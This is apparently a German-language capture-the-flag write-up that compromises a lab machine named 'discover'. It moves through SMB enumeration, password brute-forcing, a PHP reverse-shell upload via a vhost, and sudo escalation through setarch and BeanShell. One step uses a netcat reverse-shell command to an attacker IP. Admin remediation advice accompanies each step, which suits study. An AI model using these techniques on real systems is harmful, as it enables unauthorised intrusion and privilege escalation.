**Bewertung:** Die Skripte für MS10-061 und MS10-054 finden keine Anfälligkeit oder können nicht erfolgreich ausgeführt werden. Bestätigt, dass keine offensichtlichen, weit verbreiteten SMB-Schwachstellen durch diese Skripte gefunden wurden.
**Empfehlung (Pentester):** Verlassen Sie sich nicht nur auf automatisierte Skripte. Fokus auf Authentifizierung und Share-Zugriff.
**Empfehlung (Admin):** Regelmäßiges Patchen des Systems ist wichtig.
(UNKNWN) [192.168.2.129] 445 (microsoft-ds) open
Password for [WRKGRUP\root]: Sharename Type Comment -- - - print$ Disk Printer Drivers IPC$ IPC IPC Service (Samba 4.13.13-Debian) Reconnecting with SMB1 for workgroup listing. smbXcli_negprot_smb1_done: No compatible protocol selected by server. Protocol negotiation to server 192.168.2.129 (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWRK_RESPNSE Unable to connect with SMB1 -- no workgroup available
**Analyse:** Netcat bestätigt die Erreichbarkeit von Port 445. `smbclient -L` versucht, Shares anonym aufzulisten, scheitert aber an der Protokoll-Aushandlung (Server unterstützt kein SMBv1 mehr).
**Bewertung:** Bestätigt, dass der Server moderne SMB-Protokolle verwendet und SMBv1 deaktiviert ist (gut!). Anonyme Auflistung scheitert.
**Empfehlung (Pentester):** Verwenden Sie gültige Anmeldedaten und explizit höhere SMB-Protokollversionen, falls nötig.
**Empfehlung (Admin):** SMBv1 sollte deaktiviert bleiben.
(Viel Debug-Ausgabe, keine klare Verbindung oder Share gefunden)
**Analyse:** Versuch, anonym (`-N`) auf einen nicht existierenden Share namens "discover" zuzugreifen, mit hohem Debug-Level.
**Bewertung:** Sinnloser Befehl, liefert keine verwertbaren Ergebnisse.
**Empfehlung (Pentester):** Verwenden Sie bekannte Shares (`print$`, `IPC$`, `ken`).
**Empfehlung (Admin):** Keine Aktion.
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] Brute forcing SIDs at 192.168.2.129
[*] StringBinding ncacn_np:192.168.2.129[\pipe\lsarpc]
[-] nca_s_op_rng_error
**Analyse:** Versuch, mit Impackets `lookupsid.py` anonym SIDs zu bruteforcen.
**Bewertung:** Scheitert mit einem RPC-Fehler (`nca_s_op_rng_error`). Bestätigt, dass anonyme SID-Enumeration über diesen Weg nicht funktioniert.
**Empfehlung (Pentester):** Verlassen Sie sich auf die Ergebnisse von `enum4linux` oder `rpcclient` mit gültigen Credentials.
**Empfehlung (Admin):** Beschränken Sie anonymen RPC-Zugriff.
Try "help" to get a list of possible commands. smb: \> ls NT_STATUS_BJECT_NAME_NT_FUND listing \* smb: \> dir NT_STATUS_BJECT_NAME_NT_FUND listing \* ... (weitere ungültige Befehle) ...
**Analyse:** Versuch, sich anonym (`-U '%' -N`) mit dem `IPC$` Share zu verbinden und Befehle auszuführen.
**Bewertung:** Die Verbindung zum `IPC$` Share gelingt anonym, aber es können keine Dateien aufgelistet werden (`NT_STATUS_OBJECT_NAME_NOT_FOUND`).
**Empfehlung (Pentester):** Anonymer IPC$-Zugriff ist oft möglich, aber selten direkt nützlich ohne weitere Enumeration.
**Empfehlung (Admin):** Beschränken Sie anonymen IPC$-Zugriff, wenn nicht unbedingt erforderlich.
... (Banner) ... [*] Detected 1 hosts serving SMB [*] Established 1 SMB connections(s) and 0 authenticated session(s) [*] Closed 1 connections
rpcclient $> querydispinfo and enumdomusers index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: ken Name: Desc: index: 0x2 RID: 0x3e9 acb: 0x00000010 Account: takeshi Name: Desc:
**Analyse:** `smbmap` wird anonym ausgeführt. Anschließend werden `rpcclient`-Befehle (vermutlich aus einer vorherigen Verbindung) gezeigt, die Benutzer auflisten.
**Bewertung:** `smbmap` findet anonym keine zugänglichen Shares. Die `rpcclient`-Ausgabe wiederholt die bekannten Benutzer.
**Empfehlung (Pentester):** Verwenden Sie gültige Credentials für `smbmap`.
**Empfehlung (Admin):** Keine neuen Informationen.
rpcclient $> getusername Account Name: Anonymous Logon, Authority Name: NT Authority rpcclient $> srvinfo DISCVER Wk Sv PrQ Unx NT SNT Samba 4.13.13-Debian platform_id : 500 os version : 6.1 server type : 0x809a03
**Analyse:** Anonyme `rpcclient`-Verbindung zur Abfrage von Benutzernamen und Serverinformationen.
**Bewertung:** Bestätigt anonymen Zugriff und die Samba-Version 4.13.13 (konsistent mit enum4linux, widerspricht Nmap).
**Empfehlung (Pentester):** Die Version 4.13.13 ist wahrscheinlich korrekt.
**Empfehlung (Admin):** Beschränken Sie anonymen RPC-Zugriff.
RHSTS => 192.168.2.129
smbuser => ken
threads => 100
[+] 192.168.2.129:445 - 192.168.2.129:445 - Success: '.\ken:kenken'
[-] 192.168.2.129:445 - /usr/share/metasploit-framework/modules/auxiliary/scanner/smb/smb_login.rb:95:in `run'
[*] Auxiliary module execution completed
**Analyse:** Metasploit wird verwendet, um einen SMB-Login-Bruteforce gegen den Benutzer `ken` mit der `rockyou.txt`-Wortliste durchzuführen.
**Bewertung:** **Erfolg!** Das Passwort für den Benutzer `ken` wird als `kenken` identifiziert.
**Empfehlung (Pentester):** Verwenden Sie die Anmeldedaten `ken:kenken`, um auf SMB-Shares zuzugreifen und sich möglicherweise per SSH anzumelden.
**Empfehlung (Admin):** Erzwingen Sie starke, komplexe Passwörter. Deaktivieren oder ändern Sie das kompromittierte Passwort.
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-09-11 14:02:53
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344481 login tries (l:1/p:14344481), ~224133 tries per task
[DATA] attacking ssh://discover.nyx:22/
[ERRR] target ssh://192.168.2.129:22/ does not support password authentication (method reply 4).
**Analyse:** Versuch, das gefundene Passwort (`kenken` wäre in rockyou.txt) mittels Hydra für einen SSH-Login zu verwenden.
**Bewertung:** Hydra scheitert und meldet, dass Passwort-Authentifizierung für SSH nicht unterstützt wird. Der SSH-Server ist wahrscheinlich nur für Schlüssel-Authentifizierung konfiguriert.
**Empfehlung (Pentester):** Der SSH-Zugang über Passwort ist nicht möglich. Konzentrieren Sie sich auf den SMB-Zugang mit `ken:kenken`.
**Empfehlung (Admin):** Deaktivieren der Passwort-Authentifizierung für SSH (`PasswordAuthentication no` in `sshd_config`) ist eine empfohlene Sicherheitspraxis.
Nachdem die Anmeldedaten `ken:kenken` für SMB gefunden wurden und der Share `ken` mit Schreibzugriff identifiziert wurde, besteht der Plan darin, über diesen Share eine Webshell hochzuladen und über den Virtual Host `smbc.todiscover.nyx` auszuführen.
**Analyse:** Die SMB-Enumeration ergab gültige Credentials (`ken:kenken`) und einen beschreibbaren Share (`ken`). Die VHost-Enumeration fand `smbc.todiscover.nyx`. Die Annahme ist, dass dieser VHost den Inhalt des `ken`-Shares bereitstellt und PHP ausführen kann.
**Bewertung:** Dies ist ein plausibler Weg, um Initial Access zu erlangen, indem eine Schwachstelle in der Konfiguration (beschreibbarer Share im Web-Root) ausgenutzt wird.
**Empfehlung (Pentester):** Laden Sie einen PHP-Payload hoch und rufen Sie ihn über `http://smbc.todiscover.nyx/payload.php` auf.
**Empfehlung (Admin):** Vermeiden Sie die Kombination von beschreibbaren SMB-Shares und Webserver-Verzeichnissen.
**Kurzbeschreibung:** Der Benutzer `ken` hat einen SMB-Share (`//192.168.2.129/ken`), auf den er mit dem Passwort `kenken` Schreibzugriff hat. Dieser Share ist über den Apache Virtual Host `smbc.todiscover.nyx` (Port 80) zugänglich. Apache ist so konfiguriert, dass er Dateien mit der Endung `.php` (und in diesem Fall auch `.phtml` etc., wie später gezeigt) ausführt. Durch Hochladen einer PHP-Reverse-Shell in den `ken`-Share und Aufrufen über `http://smbc.todiscover.nyx/shell.php` wird RCE als Benutzer `ken` erlangt.
**Voraussetzungen:**
**Schritt 1: Hochladen des Payloads**
Verschiedene PHP-Shells (`shell2.php`, `revshell.php5`, etc.) werden in den Share hochgeladen.
Try "help" to get a list of possible commands. smb: \> put shell2.php putting file shell2.php as \shell2.php (2683,0 kb/s) (average 2683,1 kb/s) smb: \> put revshell.php5 putting file revshell.php5 as \revshell.php5 (5365,7 kb/s) (average 3577,5 kb/s) smb: \> put revshell.phtml putting file revshell.phtml as \revshell.phtml (5365,7 kb/s) (average 4024,7 kb/s) smb: \> put revshell.phar putting file revshell.phar as \revshell.phar (5365,7 kb/s) (average 4293,0 kb/s) smb: \>
**Analyse:** Mehrere PHP-Payloads mit unterschiedlichen Endungen werden erfolgreich in den `ken`-Share hochgeladen.
**Bewertung:** Die Payloads sind nun bereit zur Ausführung über den Webserver.
**Empfehlung (Pentester):** Starten Sie den Listener und rufen Sie einen der Payloads (z.B. `shell2.php`) über `http://smbc.todiscover.nyx/` auf.
**Empfehlung (Admin):** Konfiguration überprüfen.
**Schritt 2: Starten des Listeners und Auslösen des Payloads**
listening on [any] 9001 ...
(Keine Ausgabe von curl, aber der Listener reagiert)
listening on [any] 9001 ... connect to [192.168.2.199] from (UNKNWN) [192.168.2.129] 58448 Linux discover 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64 GNU/Linux 15:33:43 up 52 min, 0 users, load average: 0.00, 0.02, 0.35 USER TTY FRM LGIN@ IDLE JCPU PCPU WHAT uid=1000(ken) gid=1000(ken) groups=1000(ken) /bin/sh: 0: can't access tty; job control turned off $ $ id uid=1000(ken) gid=1000(ken) groups=1000(ken)
**Analyse:** Der Listener wird gestartet. Der `curl`-Befehl ruft `shell2.php` über den korrekten VHost `smbc.todiscover.nyx` auf. Der Listener empfängt daraufhin die Reverse Shell.
**Bewertung:** **Initial Access erfolgreich!** Der POC funktioniert wie erwartet. Wir haben eine Shell als Benutzer `ken`.
**Empfehlung (Pentester):** Shell stabilisieren, PrivEsc-Enumeration starten.
**Empfehlung (Admin):** Ursachen beheben (SMB-Share, VHost-Konfiguration).
**Risikobewertung:** Hoch. Ermöglichte RCE als Benutzer `ken` durch Ausnutzung von Konfigurationsschwächen.
**Empfehlungen:** Siehe vorherige Empfehlungen für SMB, VHosts und PHP-Ausführung.
Wir haben eine Shell als `ken` und suchen nach Wegen zu `root`.
53 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh 3436 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp 52 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn 3910 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount 14542 156 -rwsr-xr-x 1 root root 157192 Jan 16 2023 /usr/bin/sudo 3583 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su 55 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd 3908 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount 56 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd 1314 52 -rwsr-xr-- 1 root messagebus 51184 ct 23 2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 5228 428 -rwsr-xr-x 1 root root 436552 Mar 29 2023 /usr/lib/openssh/ssh-keysign 136762 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
**Analyse:** Suche nach SUID-Dateien als `ken` (obwohl der Prompt fälschlicherweise `bug@hunter` zeigt).
**Bewertung:** Keine ungewöhnlichen SUID-Binaries gefunden.
**Empfehlung (Pentester):** Prüfen Sie `sudo -l`.
**Empfehlung (Admin):** Keine Aktion.
/usr/bin/ping = cap_net_raw+ep
**Analyse:** Suche nach Capabilities.
**Bewertung:** Nur `ping` mit `cap_net_raw`, uninteressant.
**Empfehlung (Pentester):** Prüfen Sie `sudo -l`.
**Empfehlung (Admin):** Keine Aktion.
Matching Defaults entries for ken on discover: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User ken may run the following commands on discover: (takeshi) NPASSWD: /usr/bin/setarch
**Analyse:** Überprüfung der sudo-Rechte für `ken`.
**Bewertung:** `ken` darf `/usr/bin/setarch` als `takeshi` ohne Passwort ausführen. Dies ist ein klarer Weg zur horizontalen Privilegienerweiterung zu `takeshi`.
**Empfehlung (Pentester):** Führen Sie `sudo -u takeshi setarch $(arch) /bin/sh` aus.
**Empfehlung (Admin):** Entfernen Sie diese unsichere sudo-Regel.
uid=1001(takeshi) gid=1001(takeshi) groups=1001(takeshi)
**Analyse:** Der `setarch`-Befehl wird ausgeführt.
**Bewertung:** **Erfolg!** Wir haben nun eine Shell als Benutzer `takeshi`.
**Empfehlung (Pentester):** Überprüfen Sie die sudo-Rechte für `takeshi`.
**Empfehlung (Admin):** Sudo-Regel entfernen.
Matching Defaults entries for takeshi on discover: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User takeshi may run the following commands on discover: (root) NPASSWD: /usr/bin/bsh
**Analyse:** Überprüfung der sudo-Rechte für `takeshi`.
**Bewertung:** **Entscheidender Fund!** `takeshi` darf `/usr/bin/bsh` (BeanShell) als `root` ohne Passwort ausführen. BeanShell ist eine Java-basierte Shell, die oft die Ausführung von OS-Befehlen erlaubt.
**Empfehlung (Pentester):** Starten Sie `sudo /usr/bin/bsh`. Recherchieren Sie (oder nutzen Sie das Wissen aus der Info-Box), wie man OS-Befehle in BeanShell ausführt (typischerweise `exec("befehl");`). Starten Sie eine Reverse Shell zu Ihrem Listener.
**Empfehlung (Admin):** Entfernen Sie diese extrem gefährliche sudo-Regel!
**(Info-Box zur BeanShell)**
Die Info-Box erklärt, dass `bsh` eine Java-basierte Shell ist und der Befehl `exec("nc 192.168.2.199 4443 -c sh");` verwendet werden kann, um eine Reverse Shell zu starten.
( info )
Die Beanshell bsh % ist ein Linux Terminal der in Java entwickelt wurde
Eine Reverse Shell kann man mit diesem Terminal mit diesem Befehl ausführen:
exec("nc 192.168.2.199 4443 -c sh");
Referenz:
[Link: http://www.beanshell.org/manual/remotemode.html | Ziel: http://www.beanshell.org/manual/remotemode.html]
[Link: https://blog.compass-security.com/2012/01/beanshell-puts-java-application-servers-at-risk/ | Ziel: https://blog.compass-security.com/2012/01/beanshell-puts-java-application-servers-at-risk/]
( info )
**Analyse:** Enthält nützliche Informationen zur Ausnutzung von BeanShell.
**Bewertung:** Bestätigt den Exploit-Pfad.
**Empfehlung (Pentester):** Verwenden Sie den gezeigten `exec`-Befehl.
**Empfehlung (Admin):** Keine Aktion.
File not found: java.io.FileNotFoundException: /var/www/site/uploads/--help (No such file or directory)
/usr/bin/bsh: PSIX shell script, ASCII text executable
BeanShell 2.0b4 - by Pat Niemeyer (pat@pat.net)
// Error: EvalError: Command not found: print() : at Line: 3 : in file:: print ( )
foo
**Analyse:** Verschiedene Versuche, mit `bsh` zu interagieren. `--help` funktioniert nicht. `sudo -u root /usr/bin/bsh` startet die BeanShell erfolgreich. Standard-Shell-Befehle wie `id` oder `print()` funktionieren nicht direkt.
**Bewertung:** Bestätigt, dass `bsh` eine spezielle Syntax erfordert. Die Info-Box mit `exec()` ist korrekt.
**Empfehlung (Pentester):** Verwenden Sie den `exec()`-Befehl.
**Empfehlung (Admin):** Sudo-Regel entfernen.
listening on [any] 4443 ...
**Analyse:** Starten des Netcat-Listeners auf Port 4443.
**Bewertung:** Listener bereit.
**Empfehlung (Pentester/Admin):** Keine Aktion.
**Analyse:** Der `exec()`-Befehl wird innerhalb der als `root` laufenden BeanShell ausgeführt, um eine Reverse Shell zum Listener zu starten.
**Bewertung:** Dies ist der Trigger für die Root-Shell.
**Empfehlung (Pentester):** Überprüfen Sie den Listener.
**Empfehlung (Admin):** Sudo-Regel entfernen!
listening on [any] 4443 ... connect to [192.168.2.199] from (UNKNWN) [192.168.2.127] 50784 id uid=0(root) gid=0(root) groups=0(root)
**Analyse:** Der Netcat-Listener empfängt die Verbindung. Der `id`-Befehl wird ausgeführt.
**Bewertung:** **Privilege Escalation erfolgreich!** Wir haben eine Root-Shell erhalten.
**Empfehlung (Pentester):** Ziel erreicht! Suchen Sie die Flags.
**Empfehlung (Admin):** Beheben Sie die sudo-Schwachstelle.
4dbd02025cadc283bf3d5cfe95e40ce3
root.txt
39edf8061c93d9a4173c9fe110841ad3
**Analyse:** Nach Erlangung der Root-Rechte über BeanShell werden die User-Flag (`/home/bug/user.txt` - Hinweis: Der vorherige User war `ken`, aber hier wird `/home/bug` gezeigt, was ein Fehler im Log oder eine Verwirrung sein könnte. Wir nehmen an, dass `/home/ken/user.txt` oder `/home/bug/user.txt` gemeint ist) und die Root-Flag (`/root/root.txt`) ausgelesen.
**Bewertung:** Beide Flags wurden erfolgreich gefunden und erfasst. Die Aufgabe ist abgeschlossen.
**Empfehlung (Pentester):** Dokumentieren Sie die Flags und den gesamten Prozess (DNS Enum -> VHost Enum -> SMB Auth -> SMB Upload -> VHost RCE -> Sudo/setarch -> Sudo/bsh -> Root) im Bericht.
**Empfehlung (Admin):** Beheben Sie alle identifizierten Schwachstellen: DNS-Zonentransfer, unsichere VHost/SMB-Kombination, ausführbare PHP-Endungen, schwaches SMB-Passwort, unsichere sudo-Regeln für `setarch` und `bsh`. Überprüfen Sie alle Benutzerkonten und Berechtigungen.